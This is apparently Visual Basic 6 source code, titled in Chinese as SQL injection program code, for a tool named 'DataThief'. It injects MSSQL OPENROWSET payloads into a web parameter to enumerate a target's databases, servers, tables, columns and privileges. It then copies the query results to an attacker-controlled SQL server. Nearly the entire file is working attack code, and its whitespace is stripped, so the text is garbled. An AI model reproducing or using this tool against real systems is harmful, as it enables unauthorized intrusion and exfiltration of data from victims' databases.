SQL注入程序代码

q989

OptionExplicit

DimUrlAsString
DimPostDataAsString
DimMethodAsString

PrivateSubCboMethod_Click()
IfCboMethod.ListIndexThen
TxtPostData.Enabled=True
Else
TxtPostData.Enabled=False
EndIf
EndSub

PrivateSubCmdGo_Click()
DimDATABASES_INJECTION_STRAsString
DimSERVERS_INJECTION_STRAsString
DimVERSION_INJECTION_STRAsString
OnErrorGoToDisplayError

IfTxtUrl.Text<>""Then
If(CboMethod.Text="POST"AndTxtPostData.Text<>"")Or(CboMethod.Text="GET")Then
DATABASES_INJECTION_STR="insertintoopenrowset('sqloledb','Network=DBMSSOCN;Address="+TxtServer.Text+","+TxtPort.Text+";uid="+TxtLogin.Text+";pwd="+TxtPassword.Text+"','select*from##databases')selectnamefrommaster.dbo.sysdatabases--"
SERVERS_INJECTION_STR="insertintoopenrowset('sqloledb','Network=DBMSSOCN;Address="+TxtServer.Text+","+TxtPort.Text+";uid="+TxtLogin.Text+";pwd="+TxtPassword.Text+"','select*from##servers')selectsrvnamefrommaster.dbo.sysservers--"
VERSION_INJECTION_STR="insertintoopenrowset('sqloledb','Network=DBMSSOCN;Address="+TxtServer.Text+","+TxtPort.Text+";uid="+TxtLogin.Text+";pwd="+TxtPassword.Text+"','select*from##version')select@@VERSIONunionallselect'Loginname:'%2Bsuser_sname()%2Bchar(13)%2B'Username:'%2Buser%2Bchar(13)%2B'Isdb_owner:'%2Bconvert(varchar(1),IS_MEMBER('db_owner'))%2Bchar(13)%2B'Issysadmin:'%2Bconvert(varchar(1),IS_SRVROLEMEMBER('sysadmin'))--"
ClearLists

ConnectTxtServer.Text,TxtLogin.Text,TxtPassword.Text,TxtPort.Text
CreateTables
SetVars
SubmitInjectionUrl,Method,PostData,DATABASES_INJECTION_STR
SetVars
SubmitInjectionUrl,Method,PostData,SERVERS_INJECTION_STR
SetVars
SubmitInjectionUrl,Method,PostData,VERSION_INJECTION_STR
GetVersion
GetServers
GetDatabases
Else
MsgBox"Please,Inputthepostdatavalue"
EndIf
Else
MsgBox"Please,Inputtheurlvalue"
EndIf

ExitSub
DisplayError:
MsgBoxErr.Description
EndSub

PrivateSubCmdListFields_Click()
DimFIELDS_INJECTION_STRAsString
OnErrorGoToDisplayError

IfLstTables.List(LstTables.ListIndex)<>""Then
FIELDS_INJECTION_STR="insertintoopenrowset('sqloledb','Network=DBMSSOCN;Address="+TxtServer.Text+","+TxtPort.Text+";uid="+TxtLogin.Text+";pwd="+TxtPassword.Text+"','select*from##fields')selectnamefrom"+LstDatabases.List(LstDatabases.ListIndex)+".dbo.syscolumnswhereid=object_id('"+LstDatabases.List(LstDatabases.ListIndex)+".."+LstTables.List(LstTables.ListIndex)+"')--"
SetVars
TxtQuery.Text="Select"

SubmitInjectionUrl,Method,PostData,FIELDS_INJECTION_STR
GetFields
Else
MsgBox"Please,Selectatable"
EndIf

ExitSub
DisplayError:
MsgBoxErr.Description
EndSub

PrivateSubCmdListTables_Click()
DimTABLES_INJECTION_STRAsString
OnErrorGoToDisplayError

IfLstDatabases.List(LstDatabases.ListIndex)<>""Then
IfChkSysTablesThen
TABLES_INJECTION_STR="insertintoopenrowset('sqloledb','Network=DBMSSOCN;Address="+TxtServer.Text+","+TxtPort.Text+";uid="+TxtLogin.Text+";pwd="+TxtPassword.Text+"','select*from##tables')selectnamefrom"+LstDatabases.List(LstDatabases.ListIndex)+".dbo.sysobjectswherextype='U'orxtype='S'--"
Else
TABLES_INJECTION_STR="insertintoopenrowset('sqloledb','Network=DBMSSOCN;Address="+TxtServer.Text+","+TxtPort.Text+";uid="+TxtLogin.Text+";pwd="+TxtPassword.Text+"','select*from##tables')selectnamefrom"+LstDatabases.List(LstDatabases.ListIndex)+".dbo.sysobjectswherextype='U'--"
EndIf
SetVars
LstFields.Clear
TxtQuery.Text="Select"

SubmitInjectionUrl,Method,PostData,TABLES_INJECTION_STR
GetTables
Else
MsgBox"Please,SelectaDatabase"
EndIf

ExitSub
DisplayError:
MsgBoxErr.Description
EndSub

PrivateSubCmdRunQuery_Click()
DimFieldsAsString
DimQueryAsString
DimQUERY_INJECTION_STRAsString
OnErrorGoToDisplayError

IfTxtQuery.Text<>"Select"Then
SetVars
Fields=Left(TxtQuery.Text,Len(TxtQuery)-1)
Fields=Replace(Fields,"Select","")
Query="Selecttop"+TxtMaxRows.Text+""+Fields+"from"+LstDatabases.List(LstDatabases.ListIndex)+".dbo."+LstTables.List(LstTables.ListIndex)
CreateTableResultsFields
QUERY_INJECTION_STR="insertintoopenrowset('sqloledb','Network=DBMSSOCN;Address="+TxtServer.Text+","+TxtPort.Text+";uid="+TxtLogin.Text+";pwd="+TxtPassword.Text+"','select*from##tableresults')"+Query+"--"

SubmitInjectionUrl,Method,PostData,QUERY_INJECTION_STR
GetResults
Else
MsgBox"Please,SelectOneorMoreFields"
EndIf

ExitSub
DisplayError:
MsgBoxErr.Description
EndSub

PrivateSubForm_Load()
CboMethod.ListIndex=0
EndSub

PrivateSubForm_Unload(CancelAsInteger)
OnErrorGoToDisplayError

Disconnect
End

ExitSub
DisplayError:
MsgBoxErr.Description
EndSub

PrivateSubLstFields_ItemCheck(ItemAsInteger)
OnErrorGoToDisplayError

IfInStr(1,TxtQuery.Text,"from",vbTextCompare)Then
TxtQuery.Text=Replace(TxtQuery.Text,"from"+LstDatabases.List(LstDatabases.ListIndex)+".dbo."+LstTables.List(LstTables.ListIndex),"")
TxtQuery.Text=TxtQuery.Text+","
EndIf
IfLstFields.Selected(Item)Then
TxtQuery.Text=TxtQuery.Text+LstFields.List(Item)+","
Else
TxtQuery.Text=Replace(TxtQuery.Text,LstFields.List(Item)+",","")
EndIf

ExitSub
DisplayError:
MsgBoxErr.Description
EndSub

PrivateSubClearLists()
LstLinkedServer.Clear
LstDatabases.Clear
LstTables.Clear
LstFields.Clear
EndSub

PrivateSubSetVars()
Url=TxtUrl.Text
PostData=TxtPostData.Text
Method=CboMethod.Text
EndSub

PrivateSubTxtMaxRows_KeyPress(KeyAsciiAsInteger)
IfNotIsNumeric(Chr(KeyAscii))AndKeyAscii<>8Then
KeyAscii=0
EndIf
EndSub

PrivateSubTxtPort_KeyPress(KeyAsciiAsInteger)
IfNotIsNumeric(Chr(KeyAscii))AndKeyAscii<>8Then
KeyAscii=0
EndIf
EndSub

OptionExplicit
ConstUSER_AGENT="DataThiefV1.0(Beta)"

DimConAsNewADODB.Connection

'Opentheurlsubmitingthedata
PublicSubOpenUrl(UrlAsString,MethodAsString,PostDataAsString)
DimHttpParserAsNewXMLHTTP

Url=Replace(Url,"","%20")
IfMethod="GET"Then
HttpParser.openMethod,Url,False
HttpParser.setRequestHeader"User-Agent",USER_AGENT
HttpParser.send
Else
PostData=Replace(PostData,"","%20")
HttpParser.openMethod,Url,False
HttpParser.setRequestHeader"User-Agent",USER_AGENT
HttpParser.setRequestHeader"Content-Type","application/x-www-form-urlencoded"
HttpParser.send(PostData)
EndIf
FrmHtml.TxtHtml.Text=HttpParser.responseText
FrmHtml.WindowState=1
FrmHtml.Show
SetHttpParser=Nothing

EndSub

'Gettheserversnamesfromtemporarytable
PublicSubGetServers()
DimRecAsNewADODB.Recordset

Rec.ActiveConnection=Con
Rec.open"Selectnamefrom##Servers"
FrmMain.LstLinkedServer.Clear
DoWhileNotRec.EOF
FrmMain.LstLinkedServer.AddItemRec.Fields(0)
Rec.MoveNext
Loop

Rec.Close

EndSub

'Getthedatabasesnamesfromtemporarytable
PublicSubGetDatabases()
DimRecAsNewADODB.Recordset

Rec.ActiveConnection=Con
Rec.open"Selectnamefrom##Databases"
FrmMain.LstDatabases.Clear
DoWhileNotRec.EOF
FrmMain.LstDatabases.AddItemRec.Fields(0)
Rec.MoveNext
Loop

Rec.Close

EndSub

'Getthetablesnamesfromtemporarytable
PublicSubGetTables()
DimRecAsNewADODB.Recordset

Rec.ActiveConnection=Con
Rec.open"Selectnamefrom##Tables",,,adLockOptimistic
FrmMain.LstTables.Clear
DoWhileNotRec.EOF
FrmMain.LstTables.AddItemRec.Fields(0)
Rec.Delete
Rec.MoveNext
Loop
Rec.Close

EndSub

'Getthefieldsnamesfromtemporarytable
PublicSubGetFields()
DimRecAsNewADODB.Recordset

Rec.ActiveConnection=Con
Rec.open"Selectnamefrom##Fields",,,adLockOptimistic
FrmMain.LstFields.Clear
DoWhileNotRec.EOF
FrmMain.LstFields.AddItemRec.Fields(0)
Rec.Delete
Rec.MoveNext
Loop
Rec.Close

EndSub

'GettheSQLServerversionfromtemporarytable
PublicSubGetVersion()
DimRecAsNewADODB.Recordset
DimiAsInteger

Rec.ActiveConnection=Con
Rec.open"Select*from##version"
FrmMain.TxtOutput.Text=""
IfNotRec.EOFThen
FrmMain.TxtOutput.Text=Rec.Fields(0).Name
FrmMain.TxtOutput.Text=FrmMain.TxtOutput.Text+vbCrLf+vbCrLf+Rec.GetString
EndIf
Rec.Close

EndSub

'Gettheresultsofthequeryfromtemporarytable
PublicSubGetResults()
DimRecAsNewADODB.Recordset
DimiAsInteger

Rec.ActiveConnection=Con
Rec.open"Select*from##tableresults"
FrmMain.TxtOutput.Text=""
Fori=0ToRec.Fields.Count-1
FrmMain.TxtOutput.Text=FrmMain.TxtOutput.Text+Rec.Fields(i).Name+vbTab
Nexti
IfNotRec.EOFThen
FrmMain.TxtOutput.Text=FrmMain.TxtOutput.Text+vbCrLf+vbCrLf+Rec.GetString
EndIf
Rec.Close

EndSub

PublicSubConnect(ServerAsString,UidAsString,PwdAsString,PortAsString)

IfCon=""Then
Con.ConnectionString="provider=sqloledb;Network=DBMSSOCN;Address="+Server+","+Port+";uid="+Uid+";pwd="+Pwd+";"
Con.ConnectionTimeout=10
Con.open
EndIf


EndSub

PublicSubDisconnect()

IfCon<>""ThenCon.Close
SetCon=Nothing

EndSub

'Createtemporarytablestoholdthedata
PublicSubCreateTables()
DimRecAsNewADODB.Recordset

Rec.ActiveConnection=Con
Rec.open"ifobject_id('tempdb..##version')isnotnulldroptable##version"
Rec.open"createtable##version(VERSIONvarchar(500))"
Rec.open"ifobject_id('tempdb..##servers')isnotnulldroptable##servers"
Rec.open"createtable##servers(namevarchar(128))"
Rec.open"ifobject_id('tempdb..##databases')isnotnulldroptable##databases"
Rec.open"createtable##databases(namevarchar(128))"
Rec.open"ifobject_id('tempdb..##tables')isnotnulldroptable##tables"
Rec.open"createtable##tables(namevarchar(128))"
Rec.open"ifobject_id('tempdb..##fields')isnotnulldroptable##fields"
Rec.open"createtable##fields(namevarchar(128))"

EndSub

'Createatemporarytabletoholdqueryresults
PublicSubCreateTableResults(FieldsAsString)
DimRecAsNewADODB.Recordset
DimStrArray()AsString
DimQueryAsString
DimiAsByte

StrArray=Split(Fields,",")
Query="createtable##tableresults("
IfUBound(StrArray)=0Then
Query=Query+StrArray(0)+"sql_variant)"
Else
Fori=0ToUBound(StrArray)
'commentthisifSQLServer7
Query=Query+StrArray(i)+"sql_variant,"
'uncommentthisifSQLServer7
'Query=Query+StrArray(i)+"varchar(8000),"
Nexti
Query=Left(Query,Len(Query)-1)+")"
EndIf
Rec.ActiveConnection=Con
Rec.open"ifobject_id('tempdb..##tableresults')isnotnulldroptable##tableresults"
Rec.openQuery

EndSub

'Submitdata
PublicSubSubmitInjection(UrlAsString,MethodAsString,PostDataAsString,InjectionStrAsString)

IfMethod="POST"Then
PostData=Replace(PostData,"<***>",InjectionStr)
OpenUrlUrl,Method,PostData
Else
Url=Replace(Url,"<***>",InjectionStr)
OpenUrlUrl,Method,PostData
EndIf

EndSub